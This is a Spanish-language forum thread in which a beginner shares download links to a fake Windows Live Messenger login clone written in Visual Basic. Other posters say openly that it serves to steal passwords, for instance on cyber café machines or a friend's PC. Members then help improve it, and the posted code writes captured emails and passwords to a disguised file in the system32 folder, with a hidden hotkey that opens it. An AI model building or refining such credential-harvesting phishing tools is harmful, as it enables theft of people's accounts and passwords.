Aki les dejo el code del windows live messenger quiero q lo prueven y me digan si les funca o no, tiene un pekeño manualsillo.
No es algo especial pero c que hay gente k anda busca2 algo paresi2 a esto, y se que no es perfecto pero lo que vale es la intencion de poder aportar ya que nunca lo havia hecho.
quiero k me digan que le hace falta.
MediaFire
http://www.mediafire.com/?xummj5jm5bm (http://www.mediafire.com/?xummj5jm5bm)
RapidShare
http://rapidshare.com/files/404421974/Clon_Windows__Live_Messenger_By_Coco_way.rar.html (http://rapidshare.com/files/404421974/Clon_Windows__Live_Messenger_By_Coco_way.rar.html)
Existen muchos "clones" como tu los llamas..
Voy a descargar,chequear y probar en una máquina virtual ;)
Podrias subirlo a hotfiles? o 4shared?
Aqui los dejo...
4Shared:
http://www.4shared.com/file/1vucFteZ/Clon_Windows__Live_Messenger_B.html (http://www.4shared.com/file/1vucFteZ/Clon_Windows__Live_Messenger_B.html)
HotFile:
http://hotfile.com/dl/52170437/50c31c0/Clon_Windows_Live_Messenger_By_Coco_way.rar.html (http://hotfile.com/dl/52170437/50c31c0/Clon_Windows_Live_Messenger_By_Coco_way.rar.html)
Y para que usar un clon de WLM?
Cita de: shellroot@alex-laptop:~$ en 2 Julio 2010, 22:13 PM
Y para que usar un clon de WLM?
Es para robar contraseñas por ejemplo lo pones en un cyber~cafe...!¡.
Dulces Lunas!¡.
mmm. bueno para los q kieran sacar pass de un siber podria ser o los q kieran saber una contraseña instalandolo en una Pc.. de un amigo o no c... solo pon tu imaginacion a funcionar...
omg!, prefiero mil veces mi hermoso msf jjojojojjojojo
Bueh...
Hay personas q pueden aprender o sacar ejemplos de ese code....
la intencion es lo que vale...
Graxx...
Cita de: c0c0_w3y_s0ftwar3 en 2 Julio 2010, 22:51 PMla intencion es lo que vale...
La intención de robar cuentas de correo? omg!
Aver, me lo baje y empiezo mal
mirando por arriba dice
"Privasidad"
segundo consejo:
TABULA. se me complica horrores leer el codigo.
Tercer Consejo:
acomoda mejor la imagen de fondo.
yo con una resolucion de 1440 x 900 (lcd 17' wide) me di cuenta que algo andaba mal cuando maximize.
ponele que onformchangesise (escribilo bien >.<) vuelva al tamaño en el que lo diseñastes.
y esto no es tanto un consejo o sugerencia, va en cada uno, pero yo lo hubiese guardado en un txt y no en una base de datos.
me gusto bastante el efecto realista cuando se subrayan los "links".
y el icono estaba medio flojo.
Fijate que capaz que es por mi windows 7 pero no parecia el del msn 9
tenia como un reborde negro.
Excelente codigo, estaba buscando uno asi.
Graxxx. Elemental Code...
Por eso keria q alguien lo ejecutara y me diera su consentimiento por k estoy empezan2 a programar ahora y saves q nesecito consejosy ayudas...
Primero nesecito k me especifikes si es donde dice "declaracion de privacidad" ya lo arregle,,
segun2 Tabula que me kieres decir con eso...
y tercero,, me podrias dar un ejemplo de como acomodar la imagen con esto onformchangesise como me dijiste...
y ya estoy cambian2 la forma de guardar los mails.. la estoy ponien2 en un TXT como me dijiste...
Gracias de nuevo bro...
Salu2...
Tabulacion por gerarquia segun tu estructura del codigo ejemplo
sub main()
For x = 0 to 99
msgbox "este msgbox esta tabulado y se entiende perfecto!¡."
if jaja = jojo then
msgbox "bu-ala otra tabulación según la jerarquía de programación o su flujo del mismo!¡."
end if
next
end sub
Para qué se entienda lo que se abre en una columna se CIERRA EN LA MISMA COLUMNA y se entiende a lectura simple!¡.
Sangriento infierno Lunar!¡.
Ok... ya voy entendien2 BlackZeroX,,, savia q nesecitaba la ayuda de ustedes..
gracias...
En cuanto el code para guardar los mail en un TXT q tal este ???
Private Sub Command1_Click()
Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub
Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub
Pon mejor la ruta asi:
Environ$("windir") & "\system32\Win32.txt"
Salu2! :P
Gracias *PsYkE1* ya lo hice asi como me dijiste. y para ejecutar elarchivo lo puse algo asi...
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
End If